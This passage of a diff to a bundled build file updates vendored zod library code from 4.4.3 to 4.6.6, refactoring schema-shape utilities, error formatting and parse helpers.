joinValues: () => joinValues, jsonStringifyReplacer: () => jsonStringifyReplacer, + members: () => members, merge: () => merge, mergeDefs: () => mergeDefs, normalizeParams: () => normalizeParams, @@ -89463,6 +89453,7 @@ __export(util_exports, { objectClone: () => objectClone, omit: () => omit, optionalKeys: () => optionalKeys, + own: () => own, parsedType: () => parsedType, partial: () => partial, pick: () => pick, @@ -89471,11 +89462,14 @@ __export(util_exports, { promiseAllObject: () => promiseAllObject, propertyKeyTypes: () => propertyKeyTypes, randomString: () => randomString, + rawShape: () => rawShape, required: () => required, safeExtend: () => safeExtend, shallowClone: () => shallowClone, + sizeCaps: () => sizeCaps, slugify: () => slugify, stringifyPrimitive: () => stringifyPrimitive, + toZod: () => toZod, uint8ArrayToBase64: () => uint8ArrayToBase64, uint8ArrayToBase64url: () => uint8ArrayToBase64url, uint8ArrayToHex: () => uint8ArrayToHex, @@ -89487,6 +89481,9 @@ function assertEqual(val) { function assertNotEqual(val) { return val; } +function toZod() { + return (schema) => schema; +} function assertIs(_arg) { } function assertNever(_x) { @@ -89507,21 +89504,25 @@ function jsonStringifyReplacer(_3, value) { return value.toString(); return value; } -function cached(getter) { - const set2 = false; - return { - get value() { - if (!set2) { - const value = getter(); - Object.defineProperty(this, "value", { value }); - return value; - } - throw new Error("cached value already set"); +var Cached = class { + constructor(getter) { + this._getter = getter; + this._value = void 0; + } + get value() { + const getter = this._getter; + if (getter !== void 0) { + this._value = getter(); + this._getter = void 0; } - }; + return this._value; + } +}; +function cached(getter) { + return new Cached(getter); } -function nullish(input) { - return input === null || input === void 0; +function nullish(input2) { + return input2 === null || input2 === void 0; } function cleanRegex(source) { const start = source.startsWith("^") ? 1 : 0; @@ -89531,7 +89532,7 @@ function cleanRegex(source) { function floatSafeRemainder(val, step) { const ratio = val / step; const roundedRatio = Math.round(ratio); - const tolerance = Number.EPSILON * Math.max(Math.abs(ratio), 1); + const tolerance = 4 * Number.EPSILON * Math.max(Math.abs(ratio), 1); if (Math.abs(ratio - roundedRatio) < tolerance) return 0; return ratio - roundedRatio; @@ -89570,6 +89571,56 @@ function assignProp(target, prop, value) { configurable: true }); } +function rawShape(def) { + const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); + return desc2?.get ? desc2.get.raw : desc2?.value; +} +function sourceShape(schema) { + return rawShape(schema._zod.def) ?? schema._zod.def.shape; +} +function deferProp(target, key, getter) { + Object.defineProperty(target, key, { + get() { + const value = getter(); + assignProp(this, key, value); + return value; + }, + enumerable: true, + configurable: true + }); +} +function putProp(target, key, value) { + if (key in target) + assignProp(target, key, value); + else + target[key] = value; +} +function mirrorShape(target, source, keys2, wrap2) { + const raw = sourceShape(source); + for (const key of keys2) { + const desc2 = Object.getOwnPropertyDescriptor(raw, key); + if (!desc2.enumerable) + continue; + if (desc2.get) { + deferProp(target, key, () => { + const value = source._zod.def.shape[key]; + return wrap2 ? wrap2(value, key) : value; + }); + } else + putProp(target, key, wrap2 ? wrap2(desc2.value, key) : desc2.value); + } +} +function mirrorProps(target, source) { + for (const key of Reflect.ownKeys(source)) { + const desc2 = Object.getOwnPropertyDescriptor(source, key); + if (!desc2.enumerable) + continue; + if (desc2.get) + deferProp(target, key, () => source[key]); + else + putProp(target, key, desc2.value); + } +} function mergeDefs(...defs) { const mergedDescriptors = {}; for (const def of defs) { @@ -89608,8 +89659,8 @@ function randomString(length = 10) { function esc(str) { return JSON.stringify(str); } -function slugify(input) { - return input.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); +function slugify(input2) { + return input2.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); } var captureStackTrace = "captureStackTrace" in Error ? Error.captureStackTrace : (..._args) => { }; @@ -89787,16 +89838,16 @@ function stringifyPrimitive(value) { } function optionalKeys(shape) { return Object.keys(shape).filter((k) => { - return shape[k]._zod.optin === "optional" && shape[k]._zod.optout === "optional"; + return shape[k]._zod.optin !== void 0 && shape[k]._zod.optout === "optional"; }); } -var NUMBER_FORMAT_RANGES = { +var NUMBER_FORMAT_RANGES = /* @__PURE__ */ (() => ({ safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER], int32: [-2147483648, 2147483647], uint32: [0, 4294967295], float32: [-34028234663852886e22, 34028234663852886e22], float64: [-Number.MAX_VALUE, Number.MAX_VALUE] -}; +}))(); var BIGINT_FORMAT_RANGES = { int64: [/* @__PURE__ */ BigInt("-9223372036854775808"), /* @__PURE__ */ BigInt("9223372036854775807")], uint64: [/* @__PURE__ */ BigInt(0), /* @__PURE__ */ BigInt("18446744073709551615")] @@ -89808,23 +89859,21 @@ function pick(schema, mask) { if (hasChecks) { throw new Error(".pick() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = {}; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - newShape[key] = currDef.shape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const newShape = {}; + mirrorShape(newShape, schema, maskedKeys(schema, mask)); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); +} +function maskedKeys(schema, mask) { + const raw = sourceShape(schema); + const keys2 = []; + for (const key of Reflect.ownKeys(mask)) { + if (!Object.getOwnPropertyDescriptor(raw, key)?.enumerable) { + throw new Error(`Unrecognized key: "${String(key)}"`); + } + if (mask[key]) + keys2.push(key); + } + return keys2; } function omit(schema, mask) { const currDef = schema._zod.def; @@ -89833,23 +89882,10 @@ function omit(schema, mask) { if (hasChecks) { throw new Error(".omit() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = { ...schema._zod.def.shape }; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - delete newShape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const omitted = new Set(maskedKeys(schema, mask)); + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)).filter((key) => !omitted.has(key))); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); } function extend(schema, shape) { if (!isPlainObject(shape)) { @@ -89858,45 +89894,39 @@ function extend(schema, shape) { const checks = schema._zod.def.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - const existingShape = schema._zod.def.shape; - for (const key in shape) { + const existingShape = sourceShape(schema); + for (const key of Reflect.ownKeys(shape)) { if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) { throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead."); } } } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); +} +function extended(schema, shape) { + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema))); + mirrorProps(newShape, shape); + return newShape; } function safeExtend(schema, shape) { if (!isPlainObject(shape)) { throw new Error("Invalid input to safeExtend: expected a plain object"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); } function merge(a, b2) { + if (!b2?._zod?.def) { + throw new Error("Invalid input to merge: expected an object schema. To merge a plain shape, use `.extend()`."); + } if (a._zod.def.checks?.length) { throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead."); } + const newShape = {}; + mirrorShape(newShape, a, Reflect.ownKeys(sourceShape(a))); + mirrorShape(newShape, b2, Reflect.ownKeys(sourceShape(b2))); const def = mergeDefs(a._zod.def, { - get shape() { - const _shape = { ...a._zod.def.shape, ...b2._zod.def.shape }; - assignProp(this, "shape", _shape); - return _shape; - }, + shape: newShape, get catchall() { return b2._zod.def.catchall; }, @@ -89904,74 +89934,26 @@ function merge(a, b2) { }); return clone(a, def); } -function partial(Class2, schema, mask) { +function partial(Class2, schema, mask, name = "partial") { const currDef = schema._zod.def; const checks = currDef.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - throw new Error(".partial() cannot be used on object schemas containing refinements"); - } - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in oldShape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } else { - for (const key in oldShape) { - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } - assignProp(this, "shape", shape); - return shape; - }, - checks: [] - }); - return clone(schema, def); + throw new Error(`.${name}() cannot be used on object schemas containing refinements`); + } + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), Class2 && ((value, key) => selected && !selected.has(key) ? value : new Class2({ type: "optional", innerType: value }))); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape, checks: [] })); } function required(Class2, schema, mask) { - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } else { - for (const key in oldShape) { - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } - assignProp(this, "shape", shape); - return shape; - } - }); - return clone(schema, def); + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), (value, key) => ( + // overwrite with non-optional + selected && !selected.has(key) ? value : new Class2({ type: "nonoptional", innerType: value }) + )); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape })); } function aborted(x, startIndex = 0) { if (x.aborted === true) @@ -90004,29 +89986,75 @@ function prefixIssues(path, issues) { function unwrapMessage(message2) { return typeof message2 === "string" ? message2 : message2?.message; } +function sizeCaps(defChecks) { + const caps = []; + for (const ch of defChecks ?? []) { + const d = ch._zod.def; + if (!/_(length|size)$|_equals$/.test(d.check)) + break; + const max2 = d.maximum ?? d.length ?? d.size; + if (max2 >= 0) + caps.push([max2, ch]); + } + return caps; +} +function attachSchema(issues, start, inst) { + var _a3; + for (let i = start; i < issues.length; i++) { + (_a3 = issues[i]).schema ?? (_a3.schema = inst); + } +} function finalizeIssue(iss, ctx, config2) { - const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; - const { inst: _inst, continue: _continue, input: _input, ...rest2 } = iss; - rest2.path ?? (rest2.path = []); - rest2.message = message2; + var _a3; + const traits = iss.inst?._zod?.traits; + if (traits?.has("$ZodType")) { + if (traits.has("$ZodCheck")) + (_a3 = iss).schema ?? (_a3.schema = iss.inst); + else + iss.schema = iss.inst; + } + const schemaError = iss.schema !== iss.inst ? iss.schema?._zod.def?.error : void 0; + const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(schemaError?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; + const full = {}; + for (const k of Object.keys(iss)) { + if (k === "inst" || k === "schema" || k === "continue" || k === "input" || k === "__proto__") + continue; + full[k] = iss[k]; + } + full.path ?? (full.path = []); + full.message = message2; if (ctx?.reportInput) { - rest2.input = _input; + full.input = iss.input; } - return rest2; + return full; } -function getSizableOrigin(input) { - if (input instanceof Set) +function getSizableOrigin(input2) { + if (input2 instanceof Set) return "set"; - if (input instanceof Map) + if (input2 instanceof Map) return "map"; - if (input instanceof File) + if (input2 instanceof File) return "file"; return "unknown"; } -function getLengthableOrigin(input) { - if (Array.isArray(input)) +var highSurrogate = /[\uD800-\uDBFF]/; +function codePointLength(str) { + const units = str.length; + if (!highSurrogate.test(str)) + return units; + let count = units; + for (let i = 0; i < units - 1; i++) { + if ((str.charCodeAt(i) & 64512) === 55296 && (str.charCodeAt(i + 1) & 64512) === 56320) { + count--; + i++; + } + } + return count; +} +function getLengthableOrigin(input2) { + if (Array.isArray(input2)) return "array"; - if (typeof input === "string") + if (typeof input2 === "string") return "string"; return "unknown"; } @@ -90052,12 +90080,12 @@ function parsedType(data) { return t; } function issue(...args) { - const [iss, input, inst] = args; + const [iss, input2, inst] = args; if (typeof iss === "string") { return { message: iss, code: "custom", - input, + input: input2, inst }; } @@ -90109,43 +90137,312 @@ var Class = class { constructor(..._args) { } }; - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js -var initializer = (inst, def) => { - inst.name = "$ZodError"; - Object.defineProperty(inst, "_zod", { - value: inst._zod, - enumerable: false +function members(proto, table2) { + for (const key in table2) { + const desc2 = Object.getOwnPropertyDescriptor(table2, key); + if (desc2.get) + Object.defineProperty(proto, key, { ...desc2, enumerable: false }); + else + defineBound(proto, key, desc2.value); + } +} +function own(inst, key, value, enumerable = true) { + Object.defineProperty(inst, key, { configurable: true, writable: true, enumerable, value }); + return value; +} +function hide(inst, key, value) { + return own(inst, key, value, false); +} +// @__NO_SIDE_EFFECTS__ +function derived(computes, table2) { + for (const key in computes) { + const compute = computes[key]; + Object.defineProperty(table2, key, { + configurable: true, + enumerable: true, + get() { + return own(this, key, compute(this)); + }, + set(value) { + own(this, key, value); + } + }); + } + return table2; +} +function defineBound(proto, key, fn) { + Object.defineProperty(proto, key, { + configurable: true, + get() { + return this == null ? fn : own(this, key, fn.bind(this)); + }, + set(value) { + own(this, key, value); + } }); - Object.defineProperty(inst, "issues", { - value: def, - enumerable: false +} +function claim(inst, sentinel) { + const proto = Object.getPrototypeOf(inst); + return sentinel in proto ? void 0 : proto; +} +var installing; +var broke = false; +var breaker = { + configurable: true, + get() { + broke = true; + return void 0; + } +}; +function defineLazyInternal(inst, key, compute) { + const proto = Object.getPrototypeOf(inst._zod); + if (key in proto && installing !== inst._zod) { + installing = void 0; + return; + } + installing = inst._zod; + Object.defineProperty(proto, key, { + configurable: true, + get() { + Object.defineProperty(this, key, breaker); + const outer = broke; + broke = false; + try { + const value = compute(this); + if (broke) + delete this[key]; + else + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + broke = broke || outer; + return value; + } catch (err) { + delete this[key]; + broke = broke || outer; + throw err; + } + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + } }); - inst.message = JSON.stringify(def, jsonStringifyReplacer, 2); - Object.defineProperty(inst, "toString", { - value: () => inst.message, - enumerable: false +} +function installLazyProp(inst, key, make, enumerable) { + const proto = claim(inst, key); + if (!proto) + return; + Object.defineProperty(proto, key, { + configurable: true, + get() { + const desc2 = { configurable: true, writable: true, enumerable, value: void 0 }; + Object.defineProperty(this, key, desc2); + desc2.value = make(this); + Object.defineProperty(this, key, desc2); + return desc2.value; + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, enumerable, value }); + } }); +} +var CONSTANT_CATCH = "~constantCatch"; +function constantCatch(value) { + const fn = () => value; + fn[CONSTANT_CATCH] = true; + return fn; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/core.js +var _a; +var NEVER = /* @__PURE__ */ Object.freeze({ + status: "aborted" +}); +var _zodDesc = { value: void 0, enumerable: false }; +var _E = "captureStackTrace" in Error ? Error : null; +function newError(Definition) { + const E = _E; + if (E) { + const saved = E.stackTraceLimit; + if (typeof saved === "number") { + try { + E.stackTraceLimit = 0; + } catch { + _E = null; + return new Definition(); + } + try { + return new Definition(); + } finally { + E.stackTraceLimit = saved; + } + } + } + return new Definition(); +} +// @__NO_SIDE_EFFECTS__ +function $constructor(name, initializer3, proto, params) { + const zodProto = {}; + function Internals(def) { + this.def = def; + this.constr = _3; + this.traits = /* @__PURE__ */ new Set(); + } + Internals.prototype = zodProto; + const protoMembers = proto; + const initialized = protoMembers && /* @__PURE__ */ new WeakSet(); + function init(inst, def) { + if (!inst._zod) { + _zodDesc.value = new Internals(def); + try { + Object.defineProperty(inst, "_zod", _zodDesc); + } finally { + _zodDesc.value = void 0; + } + } else if (inst._zod.traits.has(name)) { + return; + } + inst._zod.traits.add(name); + initializer3(inst, def); + if (initialized) { + const own2 = Object.getPrototypeOf(inst); + const ctorProto = inst._zod.constr.prototype; + let up = own2; + while (up && up !== ctorProto) + up = Object.getPrototypeOf(up); + const target = up ?? own2; + if (!initialized.has(target)) { + initialized.add(target); + members(target, protoMembers); + } + } + const proto2 = _3.prototype; + for (const k in proto2) { + if (!Object.prototype.hasOwnProperty.call(proto2, k)) + continue; + if (!(k in inst)) { + inst[k] = proto2[k].bind(inst); + } + } + } + const Parent = params?.Parent ?? Object; + class Definition extends Parent { + } + Object.defineProperty(Definition, "name", { value: name }); + function _3(def) { + const inst = params?.Parent ? newError(Definition) : this; + init(inst, def); + const deferred = inst._zod.deferred; + if (deferred) { + for (const fn of deferred) { + fn(); + } + inst._zod.deferred = void 0; + } + const pp = globalThis.__zod_globalConfig?.postProcessor; + if (pp) + pp(inst); + return inst; + } + Object.defineProperty(_3, "init", { value: init }); + Object.defineProperty(_3, Symbol.hasInstance, { + value: (inst) => { + if (params?.Parent && inst instanceof params.Parent) + return true; + return inst?._zod?.traits?.has(name); + } + }); + Object.defineProperty(_3, "name", { value: name }); + return _3; +} +var $brand = /* @__PURE__ */ Symbol("zod_brand"); +var $ZodAsyncError = class extends Error { + constructor() { + super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); + } +}; +var $ZodEncodeError = class extends Error { + constructor(name) { + super(`Encountered unidirectional transform during encode: ${name}`); + this.name = "ZodEncodeError"; + } +}; +(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); +var globalConfig = globalThis.__zod_globalConfig; +function config(newConfig) { + if (newConfig) + Object.assign(globalConfig, newConfig); + return globalConfig; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/errors.js +function _getMessage() { + const internals = this._zod; + internals.message ?? (internals.message = JSON.stringify(internals.def, jsonStringifyReplacer, 2)); + return internals.message; +} +function _setMessage(value) { + this._zod.message = value; +} +var _messageDesc = { + get: _getMessage, + set: _setMessage, + enumerable: true, + configurable: true +}; +var _issuesDesc = { value: void 0, enumerable: false }; +var _installedToString = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +var initializer = (inst, def) => { + inst.name = "$ZodError"; + _issuesDesc.value = def; + Object.defineProperty(inst, "issues", _issuesDesc); + _issuesDesc.value = void 0; + Object.defineProperty(inst, "message", _messageDesc); + const proto = Object.getPrototypeOf(inst); + if (!_installedToString.has(proto)) { + _installedToString.add(proto); + Object.defineProperty(proto, "toString", { + configurable: true, + enumerable: false, + get() { + const value = () => this.message; + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + } + }); + } }; var $ZodError = $constructor("$ZodError", initializer); -var $ZodRealError = $constructor("$ZodError", initializer, { Parent: Error }); -function flattenError(error51, mapper = (issue2) => issue2.message) { +var $ZodRealError = $constructor("$ZodError", initializer, void 0, { + Parent: Error +}); +function node(obj2, key, make) { + if (!Object.prototype.hasOwnProperty.call(obj2, key)) { + if (key === "__proto__") { + Object.defineProperty(obj2, key, { value: make(), writable: true, enumerable: true, configurable: true }); + } else { + obj2[key] = make(); + } + } + return obj2[key]; +} +function flattenError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = {}; const formErrors = []; - for (const sub of error51.issues) { + for (const sub of error62.issues) { if (sub.path.length > 0) { - fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || []; - fieldErrors[sub.path[0]].push(mapper(sub)); + node(fieldErrors, sub.path[0], () => []).push(mapper(sub)); } else { formErrors.push(mapper(sub)); } } return { formErrors, fieldErrors }; } -function formatError(error51, mapper = (issue2) => issue2.message) { +function formatError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = { _errors: [] }; - const processError = (error52, path = []) => { - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -90162,27 +90459,39 @@ function formatError(error51, mapper = (issue2) => issue2.message) { while (i < fullpath.length) { const el = fullpath[i]; const terminal = i === fullpath.length - 1; - if (!terminal) { - curr[el] = curr[el] || { _errors: [] }; - } else { - curr[el] = curr[el] || { _errors: [] }; - curr[el]._errors.push(mapper(issue2)); + if (el === "_errors") { + if (terminal) + curr._errors.push(mapper(issue2)); + i++; + continue; + } + if (!Object.prototype.hasOwnProperty.call(curr, el)) { + Object.defineProperty(curr, el, { + value: { _errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); } - curr = curr[el]; + const node2 = curr[el]; + if (terminal) { + node2._errors.push(mapper(issue2)); + } + curr = node2; i++; } } } } }; - processError(error51); + processError(error62); return fieldErrors; } -function treeifyError(error51, mapper = (issue2) => issue2.message) { +function treeifyError(error62, mapper = (issue2) => issue2.message) { const result2 = { errors: [] }; - const processError = (error52, path = []) => { - var _a3, _b; - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + var _a3; + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -90202,11 +90511,18 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { const terminal = i === fullpath.length - 1; if (typeof el === "string") { curr.properties ?? (curr.properties = {}); - (_a3 = curr.properties)[el] ?? (_a3[el] = { errors: [] }); + if (!Object.prototype.hasOwnProperty.call(curr.properties, el)) { + Object.defineProperty(curr.properties, el, { + value: { errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); + } curr = curr.properties[el]; } else { curr.items ?? (curr.items = []); - (_b = curr.items)[el] ?? (_b[el] = { errors: [] }); + (_a3 = curr.items)[el] ?? (_a3[el] = { errors: [] }); curr = curr.items[el]; } if (terminal) { @@ -90217,7 +90533,7 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { } } }; - processError(error51); + processError(error62); return result2; } function toDotPath(_path) { @@ -90238,9 +90554,9 @@ function toDotPath(_path) { } return segs.join(""); } -function prettifyError(error51) { +function prettifyError(error62) { const lines = []; - const issues = [...error51.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); + const issues = [...error62.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); for (const issue2 of issues) { lines.push(`\u2716 ${issue2.message}`); if (issue2.path?.length) @@ -90249,32 +90565,41 @@ function prettifyError(error51) { return lines.join("\n"); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js -var _parse = (_Err) => (schema, value, _ctx, _params) => { - const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; - const result2 = schema._zod.run({ value, issues: [] }, ctx); - if (result2 instanceof Promise) { - throw new $ZodAsyncError(); - } - if (result2.issues.length) { - const e = new (_params?.Err ?? _Err)(result2.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, _params?.callee); - throw e; - } - return result2.value; +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/parse.js +function finalizeParams(callee, params) { + return { callee: params?.callee ?? callee, Err: params?.Err }; +} +var _parse = (_Err) => { + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; + const result2 = schema._zod.run({ value, issues: [] }, ctx); + if (result2 instanceof Promise) { + throw new $ZodAsyncError(); + } + if (result2.issues.length) { + const e = new (_params?.Err ?? _Err)(result2.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, _params?.callee ?? fn); + throw e; + } + return result2.value; + }; + return fn; }; var parse = /* @__PURE__ */ _parse($ZodRealError); -var _parseAsync = (_Err) => async (schema, value, _ctx, params) => { - const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; - let result2 = schema._zod.run({ value, issues: [] }, ctx); - if (result2 instanceof Promise) - result2 = await result2; - if (result2.issues.length) { - const e = new (params?.Err ?? _Err)(result2.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, params?.callee); - throw e; - } - return result2.value; +var _parseAsync = (_Err) => { + const fn = async (schema, value, _ctx, params) => { + const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; + let result2 = schema._zod.run({ value, issues: [] }, ctx); + if (result2 instanceof Promise) + result2 = await result2; + if (result2.issues.length) { + const e = new (params?.Err ?? _Err)(result2.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, params?.callee ?? fn); + throw e; + } + return result2.value; + }; + return fn; }; var parseAsync = /* @__PURE__ */ _parseAsync($ZodRealError); var _safeParse = (_Err) => (schema, value, _ctx) => { @@ -90283,39 +90608,102 @@ var _safeParse = (_Err) => (schema, value, _ctx) => { if (result2 instanceof Promise) { throw new $ZodAsyncError(); } - return result2.issues.length ? { - success: false, - error: new (_Err ?? $ZodError)(result2.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result2.value }; + return result2.issues.length ? failure(_Err, result2.issues, ctx) : { success: true, data: result2.value }; }; var safeParse = /* @__PURE__ */ _safeParse($ZodRealError); +function failure(Err, issues, ctx) { + let error62; + return { + success: false, + get error() { + if (!error62) { + error62 = new Err(issues.map((iss) => finalizeIssue(iss, ctx, config()))); + issues = void 0; + ctx = void 0; + } + return error62; + }, + set error(e) { + error62 = e; + issues = void 0; + ctx = void 0; + } + }; +} var _safeParseAsync = (_Err) => async (schema, value, _ctx) => { const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; let result2 = schema._zod.run({ value, issues: [] }, ctx); if (result2 instanceof Promise) result2 = await result2; - return result2.issues.length ? { - success: false, - error: new _Err(result2.issues.map((iss) => finalizeIssue(iss, ctx, config()))) - } : { success: true, data: result2.value }; + return result2.issues.length ? failure(_Err, result2.issues, ctx) : { success: true, data: result2.value }; }; var safeParseAsync = /* @__PURE__ */ _safeParseAsync($ZodRealError); -var _encode = (_Err) => (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parse(_Err)(schema, value, ctx); +var COMPILE_INVALID = /* @__PURE__ */ Symbol.for("zod.compile.invalid"); +var COMPILE_FALLBACK = /* @__PURE__ */ Symbol.for("zod.compile.fallback"); +var validate = (schema, value, _ctx) => { + const validator = schema._zod.bag.validator; + if (validator !== void 0) { + if (validator(value) !== COMPILE_INVALID) + return true; + if (validator.definite === true && _ctx === void 0) + return false; + } + return validateFallback(schema, value, _ctx); +}; +function validateFallback(schema, value, _ctx) { + const ctx = _ctx ? { ..._ctx, async: false, abortEarly: true } : { async: false, abortEarly: true }; + const fallbackRun = schema._zod.bag.fallbackRun; + let result2; + if (fallbackRun) { + ctx[COMPILE_FALLBACK] = true; + result2 = fallbackRun({ value, issues: [] }, ctx); + } else { + result2 = schema._zod.run({ value, issues: [] }, ctx); + } + if (result2 instanceof Promise) { + throw new $ZodAsyncError(); + } + return result2.issues.length === 0; +} +var validateAsync = async (schema, value, _ctx) => { + const ctx = _ctx ? { ..._ctx, async: true, abortEarly: true } : { async: true, abortEarly: true }; + let result2 = schema._zod.run({ value, issues: [] }, ctx); + if (result2 instanceof Promise) + result2 = await result2; + return result2.issues.length === 0; +}; +var _encode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return parse4(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encode2 = /* @__PURE__ */ _encode($ZodRealError); -var _decode = (_Err) => (schema, value, _ctx) => { - return _parse(_Err)(schema, value, _ctx); +var _decode = (_Err) => { + const parse4 = _parse(_Err); + const fn = (schema, value, _ctx, _params) => { + return parse4(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decode2 = /* @__PURE__ */ _decode($ZodRealError); -var _encodeAsync = (_Err) => async (schema, value, _ctx) => { - const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; - return _parseAsync(_Err)(schema, value, ctx); +var _encodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, direction: "backward" } : { direction: "backward" }; + return await parseAsync3(schema, value, ctx, finalizeParams(fn, _params)); + }; + return fn; }; var encodeAsync = /* @__PURE__ */ _encodeAsync($ZodRealError); -var _decodeAsync = (_Err) => async (schema, value, _ctx) => { - return _parseAsync(_Err)(schema, value, _ctx); +var _decodeAsync = (_Err) => { + const parseAsync3 = _parseAsync(_Err); + const fn = async (schema, value, _ctx, _params) => { + return await parseAsync3(schema, value, _ctx, finalizeParams(fn, _params)); + }; + return fn; }; var decodeAsync = /* 